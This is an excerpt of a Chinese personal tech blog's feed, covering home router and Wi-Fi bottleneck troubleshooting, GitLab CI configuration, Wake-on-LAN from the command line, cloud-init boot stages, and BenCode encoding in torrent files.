标称的是 300Mbps 双频千兆路由器,WiFi 下 5GHz,理论传输速率应该有 37.5MB/s,但实际应该是达不到的,但即使只有一半的速率 10MB/s ,理论上串流局域网的视频应该是问题不大的,而现在的问题就出现在局域网中用 WiFi 连接的设备,理论上只能达到 4MB/s 的峰值速度。</p> + +<h2 id="网线比较老">网线比较老</h2> + +<p>首先细想了想理论上我的 WNDR3800 路由下面四个 LAN 口都是千兆网口,有线速度不应该那么差的,所以我先用我现有的几根网线连接了设备,但发现速度依然不够理想。</p> + +<p>用 iperf 测试两台使用网线连接的设备,测试的速度大致只有在 30~45 Mbits/s 左右,换算成传输的速度除以 8,那就比较可怜了。</p> + +<p>我就有点怀疑我的网线,可能是比较老的网线(这几根网线已经跟随我差不多快 6 年了,所以应该就是一个最高百兆的网线),所以立即下单了两根六类网线。</p> + +<h3 id="网线区别">网线区别</h3> +<p>如何识别五类网线,超五类网线?</p> + +<ul> + <li>五类网线,会标注 「CAT5」字样,传输带宽为 100MHz,用于语音传输和最高传输速率为 100Mbps 的数据传输</li> + <li>超五类网线:标注 「CAT5e」 字样,传输带宽可高达 1000Mb/s,但一般只应用在 100Mb/s 的网络中,只实现桌面交换机到计算机的连接,因为超五类非屏蔽网线要借助价格高昂的特殊设备的支持</li> + <li>六类网线:标注 「CAT6」字样,一般指的都是非屏蔽网线,主要应用在千兆网络中,在传输性能上远远高于超五类网线标准</li> +</ul> + +<h2 id="设备网卡">设备网卡</h2> +<p>在怀疑完网线之后,就想是不是设备接口的限制,于是就从路由器开始排查。</p> + +<h3 id="路由器">路由器</h3> +<p>确定是千兆网口</p> + +<h3 id="盒子">盒子</h3> +<p>查了一下 T1 盒子的无线网卡:</p> + +<ul> + <li>双频 WiFi,支持 ac,单天线,2.4G 连接速率 65Mbps,5G 连接速率 433 Mbps</li> +</ul> + +<p>而一查有线网卡,竟然是一个百兆网卡,怪不得比无线还慢。既然有线不能用,那就只能上无线了。</p> + +<h2 id="wifi-带宽不够">WIFI 带宽不够</h2> +<p>首先盒子的无线网卡是支持 802.11 ac 协议的,理论上是没有跑满带宽的,那么就是无线路由器到了上限。300Mbps 是 WNDR3800 标称的传输速度,但是实际即使靠的最近也不大可能达到理论速度的。再者我的 WNDR3800 有线连着一台 NAS,一台 Proxmox 服务器,本来传输压力就有些大,所以我期望无线能达到理论的一半就已经很好了,但实际上我测试,用一台 WNDR3800 有线连接的设备开启 <code class="language-plaintext highlighter-rouge">iperf -s</code>,再用一台无线连接,<code class="language-plaintext highlighter-rouge">iperf -c IP</code>,测试的结果是 60 Mbits/s 左右。</p> + +<p>然后我想起来我还有一台小米路由器 (Mi Wifi 3G),之前因为总是断线所以就收起来了,然后去<a href="https://www.mi.com/miwifi3g/specs">官网</a> 查了一下配置,发现配置要比我的 WNDR3800 好不少,并且用 Android 连接后可以达到 800Mpbs。</p> + +<ul> + <li>处理器 MT7621A MIPS 双核 880MHz</li> + <li>ROM 128MB SLC Nand Flash</li> + <li>内存 256MB DDR3-1200</li> + <li>2.4G 2X2(支持 IEEE 802.11N 协议,最高速率可达 300Mbps)</li> + <li>5G 2X2(支持 IEEE 802.11AC 协议,最高速率可达 867Mbps)</li> + <li>外置全向高增益天线 4 根(2.4G 最大增益 5dBi 2 根 5G 最大增益 6dBi 2 根)</li> + <li>1 个 USB 3.0 接口(DC output:5V/1A)</li> + <li>1 个千兆 WAN 口,两个千兆 LAN 口,LAN 稍微少了点</li> +</ul> + +<p><img src="/assets/mi-wifi-3g-specs.jpg" alt="miwifi 3g specs" /></p> + +<p>所以现在就是要找一个比较稳定的固件了,官方的固件,无疑就是 OpenWrt 了。</p> + +<h2 id="ieee-80211-abgnac">IEEE 802.11 a/b/g/n/ac</h2> + +<p>Protocol</p> + +<h2 id="20mhz-vs-40mhz-信道宽度">20MHz vs 40MHz 信道宽度</h2> +<p>在 OpenWrt</p> + +<ul> + <li>对于 2.4 G 和 20 MHz,最好的 channel band 是 1,6,11</li> + <li>对于 2.4 G 和 40 MHz,最好的 channel band 是 3,11</li> + <li>对于 5G 和 20 MHz, 如果设备都支持最好使用 40 MHz,或者如果路由设备支持可以使用混合模式</li> + <li>对于 5G 和 40 MHz,任何少量信道的 channel 都可以。或者考虑让路由器自动选择最好的 Channel。</li> +</ul> + +<h2 id="further-more">Further More</h2> + +<ul> + <li>Android 上可以使用 WiFiAnalyzer 查看</li> + <li>对于 Windows 可以使用 NetStumbler 来查看附近的网络。</li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://routerguide.net/setting-up-20-mhz-or-40-mhz-bandwidth-how-to-improve-wifi-network-performance/">https://routerguide.net/setting-up-20-mhz-or-40-mhz-bandwidth-how-to-improve-wifi-network-performance/</a></li> +</ul> + + + https://einverne.github.io/post/2020/03/router-bottleneck.html + https://einverne.github.io/post/2020/03/router-bottleneck + Tue, 31 Mar 2020 00:00:00 +0000 + + + + GitLab CI 使用笔记 + <p>CI/CD 不必多说。</p> + +<p><img src="/assets/gitlab-ci.png" alt="gitlab ci" /></p> + +<p>CI/CD 解决的问题:</p> + +<ul> + <li>重复劳动</li> + <li>等待时间</li> + <li>手工出错</li> +</ul> + +<h2 id="基本概念">基本概念</h2> +<p>gitlab CI 依赖于项目根目录中定义的 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 文件,这个文件定义了 GitLab CI 应该做的事情。每次提交代码 GitLab 会检查该文件,然后将该文件定义的内容提交给 GitLab Runner 执行。</p> + +<h3 id="cicd">CI/CD</h3> + +<ul> + <li>CI : Continuous integration,持续集成,代码有改动时触发编译、测试、打包等一系列构建操作,最后生成一个可部署的构件。指开发⼈人员在特定分⽀支(频繁)提交代码,⽴立即执⾏行行构建和单元测试,代码通过测试标准后集成到主⼲干的过程。强调的是分⽀支代码的提交、构建与单元测试。</li> + <li>Continuous Delivery,持续交付,在持续集成的基础上,将构建的代码部署到「类⽣生产环境」</li> + <li>Continuous Deployment, 持续部署,CI 之后自动化地部署或交付给客户使用。</li> +</ul> + +<h3 id="pipeline">pipeline</h3> + +<p>gitlab-ci 中配置的所有可执行的 job 称为 pipeline,Pipeline 可以认为是一次构建过程。Pipeline 中可以包含多个 stage.</p> + +<p><img src="/assets/gitlab-ci-pipeline.png" alt="gitlab-ci-pipeline" /></p> + +<p>在 GitLab 后台可以看到如图,整个过程称为一个 pipeline,这个 pipeline 包括两个 stage(阶段)。每个阶段就只有一个任务,gitlab-ci 在运行时只有当一个 stage 中所有的任务都执行完成才会进入下一个 stage.</p> + +<p>首先来对 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 文件有一个整体的了解。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 定义 stages +stages: + - test + - build + +# 定义 job +job1: + stage: test + script: + - echo "test stage" + +job1_1: + stage: test + script: + - echo "test stage: job1_1" + +# 定义 job +job2: + stage: build + script: + - echo "build stage" +</code></pre></div></div> + +<h3 id="stage">stage</h3> +<p>stage 可以理解为阶段,是 gitlab-ci 的概念,流程中的阶段,可以包括测试,编译,发布,部署等,在 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 文件中会用到。</p> + +<ul> + <li>GitLab CI 文件中必须包含至少一个 stage</li> + <li>多个 stage 按照顺序执行</li> + <li>如果其中任何一个 stage 发生错误,之后的所有 stage 都不会被执行。</li> + <li>同样只有所有的 stage 都成功,Pipeline 才会成功</li> +</ul> + +<p>定义:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- stages: + - build + - deploy + - release +</code></pre></div></div> + +<h3 id="job-或者-app">job 或者 app</h3> +<p>job 或者又被称为 app,由 job 组成 gitlab-ci 的 stage 阶段,多个 job 可以并发执行。</p> + +<ul> + <li>同一个 stage 下的 job 会并行执行</li> + <li>同一个 stage 下的 job 都执行成功,该 stage 才会成功</li> + <li>如果 job 执行失败, 那么该 stage 失败,pipeline 失败,该次构建过程失败</li> +</ul> + +<p>举例:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>build_front: + stage: build +build_backend: + stage: build +</code></pre></div></div> + +<p>上面两个 app (build_front, build_backend) 将会在 build 阶段并发执行。</p> + +<h3 id="variables">variables</h3> +<p>gitlab-ci 中集成了很多<a href="https://docs.gitlab.com/ee/ci/variables/predefined_variables.html">默认的变量</a>,可以通过 <a href="https://docs.gitlab.com/ee/ci/variables/README.html">variables</a> 关键字来定义自己的变量,也可以在 gitlab 提供的界面上配置。gitlab 提供的 UI 可以配置全组或者 project 级别的环境变量。</p> + +<ul> + <li>group 级别</li> + <li>project 级别</li> +</ul> + +<p>比如一些敏感的信息,比如 Nexus 密码,Docker Registry 密码或者密钥之类等等</p> + +<h2 id="gitlab-runner">GitLab Runner</h2> +<p>GitLab CI 中是 Runner 真正在执行 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 中定义的任务,Runner 可以是虚拟机,物理机,Docker 容器或者容器集群。GitLab 和 GitLab Runner 直接通过 API 通信,所以需要保证 GitLab 和 Runner 直接可以通过 HTTP 进行通信。</p> + +<p>GitLab Runner 可以分为两种类型: Shared Runner (共享型) 和 Specific Runner(指定)</p> + +<ul> + <li>Shared Runner: 所有工程都可以使用,只有系统管理员可以创建</li> + <li>Specific Runner: 只有特定的项目可以使用</li> +</ul> + +<h3 id="install-runner">Install Runner</h3> +<p>GitLab Runner 的安装参考<a href="https://docs.gitlab.com/runner/install/">官方网站</a> 即可,代码也是<a href="https://gitlab.com/gitlab-org/gitlab-runner">开源的</a>.</p> + +<h2 id="常用关键词">常用关键词</h2> +<p>全部的关键词可以在<a href="https://docs.gitlab.com/ee/ci/yaml/">官网</a> 查看。</p> + +<h3 id="script">script</h3> +<p>最常用的一个关键词了,script 定义具体需要执行的任务。</p> + +<h3 id="before_script">before_script</h3> +<p>before_script 定义在每一个 job 之前的任务,必须是 Array 类型。</p> + +<h3 id="after_script">after_script</h3> +<p>after_script 每一个 job 之后执行,即使 job 失败了也会执行,Array 类型。</p> + +<h3 id="cache">cache</h3> +<p>定义需要缓存的文件或者路径。</p> + +<h2 id="use-case">Use case</h2> + +<h3 id="对部分文件修改判断是否触发该阶段">对部分文件修改判断是否触发该阶段</h3> +<p>有时候没有修改一些可能需要重新跑 build 的代码,不想 GitLab Runner 空跑,可以使用 <a href="https://docs.gitlab.com/ee/ci/yaml/README.html#onlyexcept-basic">only</a> 关键字,以及 <a href="https://docs.gitlab.com/ee/ci/yaml/README.html#onlychangesexceptchanges">change</a> 关键字实现只有部分文件改动后再触发 build.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>only: # 下面的条件都成立 + refs: # 下面的分支中任一分支改变 + - release + changes: # 下面的文件中任一文件发生改变 + - .gitlab-ci.yml + - Dockerfile +</code></pre></div></div> + +<p>当 release 分支改变,同时 .gitlab-ci.yml 文件或者 Dockerfile 文件发生改变时,触发这个阶段的执行。</p> + +<h3 id="多个模块编译方式不同">多个模块编译方式不同</h3> +<p>假如一个项目中集成了很多个模块,而每一个模块中的内容编译方式都不同。那么可以使用 gitlab-ci 提供的 <a href="https://docs.gitlab.com/ee/ci/yaml/README.html#include">include</a> 关键字,对各个模块进行分拆。在每一个模块下放置 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 文件,然后再到根目录中创建 <code class="language-plaintext highlighter-rouge">.gitlab-ci.yml</code> 文件使用 include 关键字引入进来,对各个模块进行解耦。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>include: + - local: module1/.gitlab-ci.yml + - local: module2/.gitlab-ci.yml +</code></pre></div></div> + +<h2 id="模板">模板</h2> + +<h3 id="集成-sonar">集成 sonar</h3> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Build: + stage: build + script: + - echo 'build projects' + - "mvn $MAVEN_CLI_OPTS clean compile -Dmaven.test.skip=true" + - 'mvn $MAVEN_CLI_OPTS -U clean package -Dmaven.test.skip=true' + - 'mvn $MAVEN_CLI_OPTS sonar:sonar -Dsonar.projectKey=projectname -Dsonar.host.url=http://url -Dsonar.login=xxxxx' + +Test: + stage: test + script: + - echo 'test projects' + - 'mvn $MAVEN_CLI_OPTS clean test' + only: + - master + - staging +</code></pre></div></div> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://docs.gitlab.com/ee/ci/">https://docs.gitlab.com/ee/ci/</a></li> +</ul> + + https://einverne.github.io/post/2020/03/gitlab-ci.html + https://einverne.github.io/post/2020/03/gitlab-ci + Tue, 31 Mar 2020 00:00:00 +0000 + + + + 使用命令行远程网络唤起主机 + <p>在 Linux 下可以通过 etherwake 命令来网络唤醒设备。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install etherwake +</code></pre></div></div> + +<h2 id="检查主机是否支持网络远程唤醒">检查主机是否支持网络远程唤醒</h2> +<p>首先检查 BIOS 中设置,Wake on LAN 是否开启。一般在 BIOS &gt; Power Management &gt; “Wake On LAN” 这个选项下。然后重启进入系统,用如下命令查看网卡 <code class="language-plaintext highlighter-rouge">eth0</code> 是否开启了 Wake on LAN:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ethtool eth0 +</code></pre></div></div> + +<p>输出:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Settings for eth0: + Supported ports: [ TP ] + Supported link modes: 10baseT/Half 10baseT/Full + 100baseT/Half 100baseT/Full + 1000baseT/Full + Supported pause frame use: Symmetric + Supports auto-negotiation: Yes + Supported FEC modes: Not reported + Advertised link modes: 1000baseT/Full + Advertised pause frame use: Symmetric + Advertised auto-negotiation: Yes + Advertised FEC modes: Not reported + Speed: 1000Mb/s + Duplex: Full + Port: Twisted Pair + PHYAD: 1 + Transceiver: internal + Auto-negotiation: on + MDI-X: off (auto) + Supports Wake-on: pumbg + Wake-on: g + Current message level: 0x00000007 (7) + drv probe link + Link detected: yes +</code></pre></div></div> + +<p>结果中可以一眼就看到:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Supports Wake-on: pumbg +Wake-on: g +</code></pre></div></div> + +<p>如果没有看到这个字样,或者是 off 状态,需要手动启动一下:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ethtool -s eth0 wol g +</code></pre></div></div> + +<p>说明:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">-s NIC</code>, 我这里的 eth0 是网络接口的设备名,根据不同的设备填写不同,可以通过 <code class="language-plaintext highlighter-rouge">ifconfig</code> 来查看</li> + <li><code class="language-plaintext highlighter-rouge">wol g</code> 表示设置 Wake-on-LAN 选项使用 MagicPacket.</li> +</ul> + +<h2 id="使用命令远程唤醒">使用命令远程唤醒</h2> + +<p>在 Linux 下执行如下命令唤醒设备:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install wakeonlan +wakeonlan MAC_ADDRESS +</code></pre></div></div> + +<p>或者</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>etherwake MAC_ADDRESS +</code></pre></div></div> + +<p>可以通过 ping 命令和 arp 命令来获取局域网中的设备 MAC 地址:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping -c 4 SERVER_IP &amp;&amp; arp -n +</code></pre></div></div> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://www.cyberciti.biz/tips/linux-send-wake-on-lan-wol-magic-packets.html">https://www.cyberciti.biz/tips/linux-send-wake-on-lan-wol-magic-packets.html</a></li> +</ul> + + https://einverne.github.io/post/2020/03/use-cli-wake-on-lan.html + https://einverne.github.io/post/2020/03/use-cli-wake-on-lan + Sun, 29 Mar 2020 00:00:00 +0000 + + + + Cloud-init 初始化虚拟机配置 + <p>在安装 <a href="/post/2020/03/proxmox-install-and-setup.html">Proxmox</a> 后在它的文档中了解到了 cloud-init。所以就来梳理一下。</p> + +<h2 id="cloud-init-是什么">cloud-init 是什么</h2> +<p>cloud-init 运行在 Guest machine 中,并在初始化时将一些自定义的配置应用到 Guest machine 中的应用程序。 cloud-init 最早由 Ubuntu 的开发商 Canonical 开发,现在已经支持绝大多数 Linux 发行版和 FreeBSD 系统。而目前大部分的公有云都在用 cloud-init 初始化系统配置,cloud-init 也支持部分私有云 (KVM, OpenStack, LXD 等等) <sup id="fnref:cloud"><a href="#fn:cloud" class="footnote">1</a></sup>,已经成为了事实上的标准。</p> + +<p>当我们在 AWS,或者 Google Cloud 这些公有云中申请计算资源的时候,云服务的提供商总是会叫我们选择一个系统镜像,然后做一些基础设置 (Hostname, SSH key 等等),然后在此基础上进行系统创建。cloud-init 正是在这个背景下诞生,自动化将用户数据初始化到系统实例中。</p> + +<p>cloud-init 的主旨是定义一些独立于操作系统的配置,比如 hostname, networking configuration 等等。</p> + +<p>特性:</p> + +<ul> + <li>设置默认的 locale</li> + <li>设置 hostname</li> + <li>生成并设置 SSH 私钥</li> + <li>设置临时的挂载点</li> +</ul> + +<h2 id="boot-stages">Boot Stages</h2> +<p>cloud-init 对系统的初始化分为这几个阶段</p> + +<ul> + <li>Generator</li> + <li>Local</li> + <li>Network</li> + <li>Config</li> + <li>Final</li> +</ul> + +<h3 id="generator">Generator</h3> +<p>当系统启动的时候,<a href="https://www.freedesktop.org/software/systemd/man/systemd.generator.html">generator</a> 会检查 <code class="language-plaintext highlighter-rouge">cloud-init.target</code> 是否需要启动。默认情况下,generator 会启动 cloud-init. 但是如下情况 cloud-init 不会在开机运行:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">/etc/cloud/cloud-init.disabled</code> 文件存在时</li> + <li>当内核命令发现文件 <code class="language-plaintext highlighter-rouge">/proc/cmdline</code> 包含 <code class="language-plaintext highlighter-rouge">cloud-init=disabled</code> 时,当在容器中运行时,内核命令可能会被忽略,但是 cloud-init 会读取 <code class="language-plaintext highlighter-rouge">KERNEL_CMDLINE</code> 这个环境变量</li> +</ul> + +<h3 id="local">Local</h3> +<p>Local 阶段会在挂载根分区 <code class="language-plaintext highlighter-rouge">/</code> 时,立即执行</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloud-init-local.service +</code></pre></div></div> + +<p>Local 阶段的目的是:</p> + +<ul> + <li>查找 <code class="language-plaintext highlighter-rouge">local</code> data source</li> + <li>将网络配置应用到本地</li> +</ul> + +<p>大多数情况下,这个阶段就只会做这些事情。它会在 datasource 中查找,并应用网络配置。网络配置可能从这些地方来:</p> + +<ul> + <li><strong>datasource</strong>: 云端通过 metadata 提供</li> + <li><strong>fallback</strong>: 通过 <code class="language-plaintext highlighter-rouge">dhcp on eth0</code>,在虚拟机内自行通过 DHCP 获取 IP</li> + <li><strong>none</strong>: 网络配置可以通过 <code class="language-plaintext highlighter-rouge">/etc/cloud/cloud.cfg</code> 中配置 <code class="language-plaintext highlighter-rouge">network: {config: disabled}</code> 来禁用</li> +</ul> + +<p>如果是该实例的第一次启动,那么被选中的网络配置会被应用,所有老旧的配置都会会清除。</p> + +<p>该阶段需要阻止网络服务启动以及老的配置被应用,这可能带来一些负面的影响,比如 DHCP 服务挂起,或者已经广播了老的 hostname,这可能导致系统进入一个奇怪的状态需要重启网络设备。</p> + +<p>cloud-init 然后再继续启动系统,将网络配置应用后启动。</p> + +<h3 id="network">Network</h3> +<p>在 local 阶段后,网络服务启动后,启动</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloud-init.service +</code></pre></div></div> + +<p>该阶段需要所有的网络配置已经被应用,并且网络在线,然后才会应用所有的 user-data</p> + +<ul> + <li>递归检索任何 <code class="language-plaintext highlighter-rouge">#include</code> 或者 <code class="language-plaintext highlighter-rouge">#include-once</code> 包括 http</li> + <li>解压缩任何压缩的内容</li> + <li>运行任何找到的 part-handler</li> +</ul> + +<p>该阶段运行 <code class="language-plaintext highlighter-rouge">disk_set</code> 和 <code class="language-plaintext highlighter-rouge">mounts</code> 模块,可能会分区并格式化任何配置挂载点(比如 <code class="language-plaintext highlighter-rouge">/etc/fstab</code>中)的磁盘。这个模块不能再早运行,因为有可能有些信息来源于网络,只有等网络信息获取到后才能执行。比如用户可能在网络资源中提供了挂载点配置信息。</p> + +<p>在一些云服务中,比如 Azure,这个阶段会创建可以被挂载的文件系统。</p> + +<p><code class="language-plaintext highlighter-rouge">part-handler</code> 也会在这个阶段运行,包括 cloud-config <code class="language-plaintext highlighter-rouge">bootcmd</code>。</p> + +<h3 id="config">Config</h3> +<p>在网络启动后运行:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloud-config.service +</code></pre></div></div> + +<p>这个阶段只会运行 config 模块,不会对其他阶段产生影响的模块在这里运行。</p> + +<h3 id="final">Final</h3> +<p>启动的最后阶段运行:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloud-final.service +</code></pre></div></div> + +<p>用户登录系统后习惯于运行的脚本在这个阶段运行,包括:</p> + +<ul> + <li>包安装</li> + <li>配置管理的插件 (puppet, chef, salt-minion)</li> + <li>用户脚本(包括 <code class="language-plaintext highlighter-rouge">runcmd</code>)</li> +</ul> + +<h2 id="配置文件地址">配置文件地址</h2> +<p>cloud-init 配置文件在:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/cloud/cloud.cfg +/etc/cloud/cloud.cfg.d/*.cfg +</code></pre></div></div> + +<p>cloud-init 在配置文件 <code class="language-plaintext highlighter-rouge">/etc/cloud/cloud.cfg</code> 中定义了各个阶段需要执行的任务,任务以 module 形式组织。 +cloud.cfg 中指定了 <code class="language-plaintext highlighter-rouge">set_hostname</code> 这个 module, 则表示 cloud-init 会执行设置 hostname 的任务,但是具体设置的内容由 metadata 指定。</p> + +<p>cloud-init 的日志在:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/cloud-init-output.log: 每一个阶段的输出 +/var/log/cloud-init.log: 每一个操作更详细的调试日志 +/run/cloud-init: contains logs about how cloud-init decided to enable or disable itself, as well as what platforms/datasources were detected. These logs are most useful when trying to determine what cloud-init ran or did not run. +</code></pre></div></div> + +<p>数据存放在:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/lib/cloud +</code></pre></div></div> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://cloud-init.io/">https://cloud-init.io/</a></li> + <li><a href="https://pve.proxmox.com/wiki/Cloud-Init_FAQ">https://pve.proxmox.com/wiki/Cloud-Init_FAQ</a></li> + <li><a href="https://cloudinit.readthedocs.io/en/latest/">https://cloudinit.readthedocs.io/en/latest/</a></li> +</ul> +<div class="footnotes"> + <ol> + <li id="fn:cloud"> + <p><a href="https://cloudinit.readthedocs.io/en/latest/topics/availability.html">https://cloudinit.readthedocs.io/en/latest/topics/availability.html</a> <a href="#fnref:cloud" class="reversefootnote">&#8617;</a></p> + </li> + </ol> +</div> + + https://einverne.github.io/post/2020/03/cloud-init.html + https://einverne.github.io/post/2020/03/cloud-init + Sat, 28 Mar 2020 00:00:00 +0000 + + + + BitTorrent 协议中的 BenCode 编码 + <p>在了解 <a href="/post/2020/02/everything-related-about-bittorrent-and-pt.html">BitTorrent</a> 协议的时候,想着 <code class="language-plaintext highlighter-rouge">.torrent</code> 文件是如何生成的,所以就找了几个 CLI,比如 <code class="language-plaintext highlighter-rouge">transmission-cli</code> 和 <code class="language-plaintext highlighter-rouge">mktorrent</code>这两个开源的制作 torrent 文件的开源项目,发现他们就是按照一种约定的格式来生成文件。而这个约定的结构中就少不了现在要谈的 BenCode 编码。</p> + +<h2 id="what-is-bencode">What is BenCode</h2> +<p>BenCode 是用于编码 torrent 文件的一种编码格式。BenCode 支持四种数据类型:</p> + +<ul> + <li>字符串</li> + <li>整数</li> + <li>数组</li> + <li>字典</li> +</ul> + +<p>需要注意的是 BenCode 只用 ASCII 字符进行编码,如果是非 ASCII 码,BenCode 会用一种编码方式将其转换成 ASCII 码。</p> + +<h3 id="string">字符串</h3> +<p>在编码字符串时 BenCode 选择将字符长度编码在其中:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Length&gt;:&lt;Content&gt; +</code></pre></div></div> + +<p>比如 <code class="language-plaintext highlighter-rouge">6:string</code> 就表示 <code class="language-plaintext highlighter-rouge">string</code> 本身。</p> + +<h3 id="integar">整数</h3> +<p>整数编码时在前后加 <code class="language-plaintext highlighter-rouge">i</code> 和 <code class="language-plaintext highlighter-rouge">e</code>,比如:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>i123e +</code></pre></div></div> + +<p>表示整数 123 . 这种方式也可以表示负数:<code class="language-plaintext highlighter-rouge">i-1e</code>.</p> + +<h3 id="array">数组</h3> +<p>列表前后用 <code class="language-plaintext highlighter-rouge">l</code> 和 <code class="language-plaintext highlighter-rouge">e</code> 标识。列表中的元素可以是 BenCode 支持的任何一种类型。比如要编码字符串 <code class="language-plaintext highlighter-rouge">content</code> 和数字 42:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>l7:contenti42ee +</code></pre></div></div> + +<p>注意这里每个类型的边界都有定义清楚。字符串可以用长度来限定边界,但是整数一定需要 <code class="language-plaintext highlighter-rouge">i</code> 和 <code class="language-plaintext highlighter-rouge">e</code> 来限定边界。</p> + +<h3 id="map">字典</h3> +<p>字典类型可以保存一对一的关系,在 BenCode 中 KEY 必须为字符串类型,而 VALUE 可以是 BenCode 支持的任意一种类型。字典编码时用 <code class="language-plaintext highlighter-rouge">d</code> 和 <code class="language-plaintext highlighter-rouge">e</code> 限定范围。</p> + +<p>另外需要注意,字典中 KEY 和 VALUE 必须相邻,字典依照 KEY 的字母序排序。</p> + +<p>比如要定义 “name” -&gt; “Ein Verne”, “age” -&gt; 18, “interests” -&gt; [“book”, “movie”]</p> + +<p>首先要到 KEY 进行排序 “age”, “interests”, “name”</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>3:age9:Ein Verne +9:interestsi18e +4:namel4:book5:moviee +</code></pre></div></div> + +<p>然后把上面的 KEY VALUE 连接起来,并在前后加上字典的 <code class="language-plaintext highlighter-rouge">d</code> 和 <code class="language-plaintext highlighter-rouge">e</code> 限定。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d3:age9:Ein Verne9:interestsi18e4:namel4:book5:movieee +</code></pre></div></div> + +<h2 id="torrent-文件">torrent 文件</h2> +<p>在了解了 BenCode 的编码后,用纯文本文件打开 <code class="language-plaintext highlighter-rouge">.torrent</code> 文件就能知道一二了。本质上 torrent 文件就是一个用 BenCode 编码的纯文本文件,torrent 在 BitTorrent 协议中又被称为 metainfo。</p> + +<p>metainfo 是一个 BenCode 编码的字典:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>announce + tracker 的地址 +info + 字典,单文件和多文件略有不同 +</code></pre></div></div> + +<p>torrent 文件中的所有字符串必须是 UTF-8 编码的。</p> + +<h3 id="single-file">单文件</h3> +<p>我在本地新建了一个 README.md 文件,然后用如下命令创建一个 torrent 文件 “test.torrent”.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mktorrent -a http://announce.url -c "This is comments" -l 18 -o "test.torrent" -p -v README.md +</code></pre></div></div> + +<p>然后查看 test.torrent 内容:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8:announce19:http://announce.url7:comment16:This is comments10:created by13:mktorrent 1.013:creation datei1585360743e4:infod6:lengthi5e4:name9:README.md12:piece lengthi262144e6:pieces20:h7@xxxxxlxx]7:privatei1eee +</code></pre></div></div> + +<p>拆解这个编码,先分段开。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d + 8:announce -&gt; 19:http://announce.url + 7:comment -&gt; 16:This is comments + 10:created by -&gt; 13:mktorrent 1.0 + 13:creation date -&gt; i1585360743e + 4:info + d + 6:length -&gt; i5e + 4:name -&gt; 9:README.md + 12:piece length -&gt; i262144e + 6:pieces -&gt; 20:h7@xxxxxxxxx + 7:private -&gt; i1e + e +e +</code></pre></div></div> + +<p>拆解后可以看到 info 字典中有这么几项:</p> + +<ul> + <li>length 指的是整个文件的大小</li> + <li>name 下载的文件名</li> + <li>piece length 整数,BitTorrent 文件块大小</li> + <li>pieces 字符串,连续存放所有块的 SHA1 值,每一个块的 SHA1 值长度都是 20,这里因为文件本身比较小所以只有一块</li> + <li>private 整数,标记 torrent 是否私有</li> +</ul> + +<p>注:pieces 中有些特殊字符,在文章中用其他字符替换了。</p> + +<h3 id="multiple-files">多文件</h3> +<p>多文件时 info 字典中会有一个 files 列表,这个列表由字典组成,每一个字典中是文件的内容,包括文件名和文件长度。</p> + +<p>比如对当前文件夹下 <code class="language-plaintext highlighter-rouge">README.md</code> 和 <code class="language-plaintext highlighter-rouge">README1.md</code> 两个文件制作 torrent.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mktorrent -a http://announce.url -c "This is comments" -l 18 -o "test.torrent" -p -v . +</code></pre></div></div> + +<p>得到的 torrent 文件:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8:announce19:http://announce.url7:comment16:This is comments10:created by13:mktorrent 1.013:creation 